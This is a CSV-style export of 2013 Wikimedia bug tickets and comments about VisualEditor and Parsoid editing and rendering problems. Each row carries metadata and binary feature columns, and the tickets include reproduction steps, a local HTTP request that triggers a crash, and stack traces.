useful.",,,1364165114,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-15,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+48506,"Just added single character, but at review all content is replaced","Steps:
+
+1) Go to http://en.wikipedia.org/wiki/Jean_Nicolas
+2) Click VisualEditor
+3) Without moving the cursor or anything, enter the following character: a
+4) Click ""Review and save""
+5) The whole content of the article has been replaced with just the character.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1364127180,1364127463.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-6vicxrcuqmyqgizvbnop,task_description,resolved,True,c1,1,False,False,True,-15,,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+207494,"Just added single character, but at review all content is replaced","
+
+*** This bug has been marked as a duplicate of bug 43103 ***",,,1364127463,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-6vicxrcuqmyqgizvbnop,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+48505,Clicking outside of link edition popup removes link,"Steps:
+
+1) Go to http://en.wikipedia.org/wiki/Nicolas
+2) Click VisualEditor
+3) Left-click any link
+4) A small popup with only one item appears, click on it
+5) Click outside of the popup, for instance on a blank area of the article behind
+6) Link has disappeared
+
+Step 5 is what many users do to cancel.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1364126940,1364164432.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-l2eaq3bdozrt2dgpbncq,task_description,resolved,True,c1,1,False,False,True,-15,,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+207443,Clicking outside of link edition popup removes link,"This was fixed in bug 46025 which is bundled in MediaWiki 1.21wmf12 which should be deployed to enwiki tomorrow. Sorry for the delay!
+
+*** This bug has been marked as a duplicate of bug 46025 ***",,,1364164432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l2eaq3bdozrt2dgpbncq,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+48320,VisualEditor: store annotations in a document-wide index/value store and serialize as integer indexes,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1363693320,1366130603.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-e7xy2ghygeqe5vvk7vir,task_description,resolved,True,c1,1,True,False,True,-15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+220341,VisualEditor: store annotations in a document-wide index/value store and serialize as integer indexes,Related URL: https://gerrit.wikimedia.org/r/54991 (Gerrit Patch-Set: I249a5d48726093d1cb3e36351893f4bff85f52e2/1),,,1363819486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e7xy2ghygeqe5vvk7vir,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+220336,VisualEditor: store annotations in a document-wide index/value store and serialize as integer indexes,"Before I go breaking things, I've added tests for AnnotationSet: https://gerrit.wikimedia.org/r/54640",,,1363693508,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-e7xy2ghygeqe5vvk7vir,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+48296,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"We have a job that sanity-checks our API server, which is a primary part of our ability to communicate with the VisualEditor. It fails because the process forks off several workers to handle requests, which sets off big red blinking alarms in Jenkins.
+
+Do we need to add in an option to not fork? Do we need to add in some other method of doing this (like a ""start a background process"" Jenkins builder)? Or can we work around the file descriptor issue?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://integration.mediawiki.org/ci/view/All/job/parsoid-server-sanity-check/",Needs Triage,90.0,1363637880,1375350900.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_description,declined,True,c1,1,True,False,True,-15,,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+218511,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"Job got deleted, I guess we can forget this bug for now.",,,1375350900,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+218504,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"Yeah, we disabled it because there was no point in keeping it around.
+
+There's some hacky workaround, but it seemed really complicated and not worth the work at that time.",,,1372186269,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+218497,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"The tests seem to be working now. Has this been fixed or have certain testing paths been disabled?
+
+Is there something we can do on our end?",,,1372185965,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,2,True,,,-1,,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+218491,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"daemon seems to have broken it further, though I'm not sure why. I tried letting the server get set up, and I tried making sure my options were correct, but the parsoid server doesn't seem to like being run with daemon.",,,1363805065,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+218484,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"The job dashboard is https://integration.mediawiki.org/ci/view/All/job/parsoid-server-sanity-check/
+
+An example console is https://integration.mediawiki.org/ci/view/All/job/parsoid-server-sanity-check/65/console 
+
+After the worker have been forked, Jenkins detects some file descriptor leakage and cancel the build:
+
+Process leaked file descriptors. See http://wiki.jenkins-ci.org/display/JENKINS/Spawning+processes+from+build for more information
+
+They point to http://software.clapper.org/daemonize/ .  But maybe we can use /usr/bin/daemon for the same effect.",,,1363803636,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,1,True,,,-15,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+47341,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Screenshot of {{disambiguation}} on [[Loco]] at en.wikipedia.org
+
+Using {{disambiguation}} on a page and editing it with VisualEditor shows an incorrect rendering.
+
+Attached are screenshots and dumps of the active DOM for the PHP parser and Parsoid/VisualEditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10462}",Needs Triage,90.0,1361749260,1361832255.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-mq355eomr24cmluqc7dh,task_description,resolved,True,c1,1,True,False,True,-19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+212897,Parsoid: Incorrect rendering for [[Template:Disambiguation]],A reasonable resolution of this issue. :),,,1361832255,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+212890,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Indeed. The following edit by me fixed it for Parsoid:
+
+https://en.wikipedia.org/w/index.php?title=Template%3ADmbox&diff=540384230&oldid=466538335
+
+Seems like a reasonable change to make. Not sure how common this is but I think in most cases editors will understand as in most cases this is already how it is. Leading space after a line break causes a <pre>. The reason the line break is there is probably by mistake, and nothing broke so it was forgotten/left.
+
+Lets hope it is not too common.",,,1361831946,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1
+212883,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"This can be narrowed down to the difference between these two table cells.  Look at PHP parser output for these two tds in the table:
+
+<table>
+<tr>
+<td>
+  a</td>
+<td>
+ b
+</td>
+</tr>
+</table>
+
+""a"" is not wrapped in a pre-tag, but ""b"" is.  
+
+http://www.mediawiki.org/wiki/User:Ssastry/Tests:Odd_pre_in_td_behavior
+
+Parsoid wraps both in a pre-tag which is the reason why Parsoid output is different from PHP output.  This seems a PHP parser bug to me, not a Parsoid bug.  I imagine we want to be bug-to-bug compatible, but I am not sure what the correct behavior for this is.",,,1361826274,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+212875,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"This might be a bug in https://gerrit.wikimedia.org/r/#/c/32405/ or a regression.  The <pre> is coming from an #if parser function which should not have as per that commit message.
+
+Will investigate.",,,1361822814,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1
+212867,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Created attachment 11841
+HTML of {{disambiguation}} from Parsoid
+
+The main problem is the presence of a <pre> that shouldn't be there.
+
+**Attached**: {F10465}",,,1361749531,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+212862,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Created attachment 11840
+Screenshot of {{disambiguation}} from Parsoid
+
+**Attached**: {F10464}",,,1361749431,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+212856,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Created attachment 11839
+HTML of {{disambiguation}} on [[Loco]] at en.wikipedia.org
+
+**Attached**: {F10463}",,,1361749373,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+47024,Parsoid: Tables don't round-trip cleanly,"See http://parsoid.wmflabs.org/_rt/mw/VisualEditor/Node_types for example. (This URL currently doesn't work because the /mw prefix disappeared in a recent change.)
+
+* border=""1"" is normalized to border=1, but only in the table's attributes, not in the rows' attributes
+* | rowspan=""3"" is normalized to |rowspan=""3""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1360879800,1360889187.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-2lufxleaemvynes2b2da,task_description,declined,True,c1,1,False,False,True,-20,,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+219694,Parsoid: Tables don't round-trip cleanly,"The first normalization is actually the other way around: border=1 is normalized to border=""1"".
+
+This is the expected degree of normalization for non-selective serialization, so closing as wontfix. Selective serialization is becoming smarter, and will soon only normalize a table cell or even only a part of a table cell's content, which will hide this issue normally.",,,1360889187,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2lufxleaemvynes2b2da,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0
+46969,Parsoid crashes when serializing page with colon in title,"Send a POST request with any content at all to a Parsoid URL containing a colon, and you'll get strange crashes. Strangely, the behavior differs between localhost and enwiki:
+
+POST /localhost/VisualEditor%3AMetastuff HTTP/1.0
+Host: localhost:8000
+Content-Length: 3
+
+HTTP/1.1 500 Internal Server Error
+X-Powered-By: Express
+Content-Type: text/html; charset=utf-8
+Content-Length: 66
+Connection: close
+
+ParserError: Failed to parse the JSON response for Page Fetch null
+
+(Note that I didn't even get a chance to send the POST body, the 500 occurs as soon as I send the double newline that terminates the request header.)
+
+For this case, the Parsoid log shows:
+ParserError: Failed to parse the JSON response for Page Fetch null
+worker 10132 died, restarting.
+
+
+POST /en/Talk%3AWQKO HTTP/1.0
+Host: localhost:8000
+Content-Length: 3
+
+Foo
+
+[Parsoid closes the connection without sending anything]
+
+Parsoid log:
+There was an error in the HTML5 parser! Sending it back to the editor.
+Error: No source to parse
+    at EventEmitter.parse (/var/lib/parsoid/Parsoid/js/node_modules/html5/lib/html5/parser.js:44:20)
+    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:579:6
+    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:284:4
+    at /var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:185:3
+    at [object Object].<anonymous> (/var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:209:4)
+    at Array.1 (/var/lib/parsoid/Parsoid/js/lib/mediawiki.ApiRequest.js:60:4)
+    at EventEmitter._tickCallback (node.js:192:40)
+TypeError: Cannot read property 'childNodes' of undefined
+    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:597:34
+    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:284:4
+    at /var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:185:3
+    at [object Object].<anonymous> (/var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:209:4)
+    at Array.1 (/var/lib/parsoid/Parsoid/js/lib/mediawiki.ApiRequest.js:60:4)
+    at EventEmitter._tickCallback (node.js:192:40)
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Needs Triage,90.0,1360784520,1360785028.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-xtyrp3i5752jen7uoe6m,task_description,invalid,True,c1,1,False,False,True,-20,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+216497,Parsoid crashes when serializing page with colon in title,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934041,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xtyrp3i5752jen7uoe6m,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+216490,Parsoid crashes when serializing page with colon in title,"(In reply to comment #0)
+> POST /localhost/VisualEditor%3AMetastuff HTTP/1.0
+> Host: localhost:8000
+> Content-Length: 3
+> 
+> HTTP/1.1 500 Internal Server Error
+> X-Powered-By: Express
+> Content-Type: text/html; charset=utf-8
+> Content-Length: 66
+> Connection: close
+> 
+> ParserError: Failed to parse the JSON response for Page Fetch null
+> 
+Ignore this one, this is due to a misconfiguration on my end.
+
+> POST /en/Talk%3AWQKO HTTP/1.0
+> Host: localhost:8000
+> Content-Length: 3
+> 
+> Foo
+> 
+> [Parsoid closes the connection without sending anything]
+> 
+> Parsoid log:
+> There was an error in the HTML5 parser! Sending it back to the editor.
+And this behavior occurs on the command line but not from my browser, for some reason.",,,1360785028,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xtyrp3i5752jen7uoe6m,task_subcomment,,True,c1,1,False,,,-20,,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+46927,VisualEditor: VE chokes on unexpected redirect response from Parsoid,"**Author:** `phil`
+
+**Description:**
+I created a page using the normal editor that was
+
+
+<gallery>
+File:Example.jpg|Caption1
+#REDIRECT [[Target page name]]
+</gallery>
+
+
+Trying to load this page in VE gives an error message
+"" Error loading data from server: Server error. Would you like to retry? ""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1360730040,1362769118.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2aj3mfax5n7tlrsztfhy,task_description,resolved,True,c1,1,False,False,True,-20,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+214053,VisualEditor: VE chokes on unexpected redirect response from Parsoid,"Phil,
+
+I've checked and this is now fixed (in part - there's the wider question of Parsoid and redirection which is covered in bug 45808) - am marking as closed. Thank you again for your bug report!
+
+James.",,,1362769118,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2aj3mfax5n7tlrsztfhy,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+214045,VisualEditor: VE chokes on unexpected redirect response from Parsoid,"**phil** wrote:
+
+Selecting the OK option to Retry brings the error dialog back up so the only option is to Cancel unless you want to spend all day pressing OK
+
+thanks for the extra info on how redirect works - or is meant to work",,,1360785321,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2aj3mfax5n7tlrsztfhy,task_subcomment,,True,c1,1,False,,,-20,,1,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+214038,VisualEditor: VE chokes on unexpected redirect response from Parsoid,"Phil, did this happen when you retried? That error message (which sucks, and we're going to fix as part of bug 44354) just means that it couldn't hail the Parsoid server at the time, and normally means that nothing went wrong other than the server availability.
+
+More generally, when you edit a page which as has a redirect OR a redirect-like string that isn't a redirect because it's not at the top of the page, Parsoid follows the redirect and returns the document that the redirect points to, which is a pair of bugs (we'll need to be able to edit #REDIRECT statements, so it shouldn't return the redirected page, and it should behave the same way as the PHP parser with regard to what is considered a redirect).",,,1360783589,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2aj3mfax5n7tlrsztfhy,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+46838,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,"**Author:** `mwalker`
+
+**Description:**
+On chrome 24 and firefox 18.0.2 -- rapid switching between the edit tab and the view tab will cause multiple toolbars to be displayed on both the edit tab and view tab.
+
+I note that the page DOM becomes more and more unusable as I keep switching.
+
+As I am switching when I still see the 'loading' indicator; I am guessing that this is caused by a non complete initialization of the editor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1360462980,1360976726.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-aqea5euyvi5ekuwq3kig,task_description,resolved,True,c1,1,False,False,True,-21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+208579,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,Now merged.,,,1360976726,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aqea5euyvi5ekuwq3kig,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
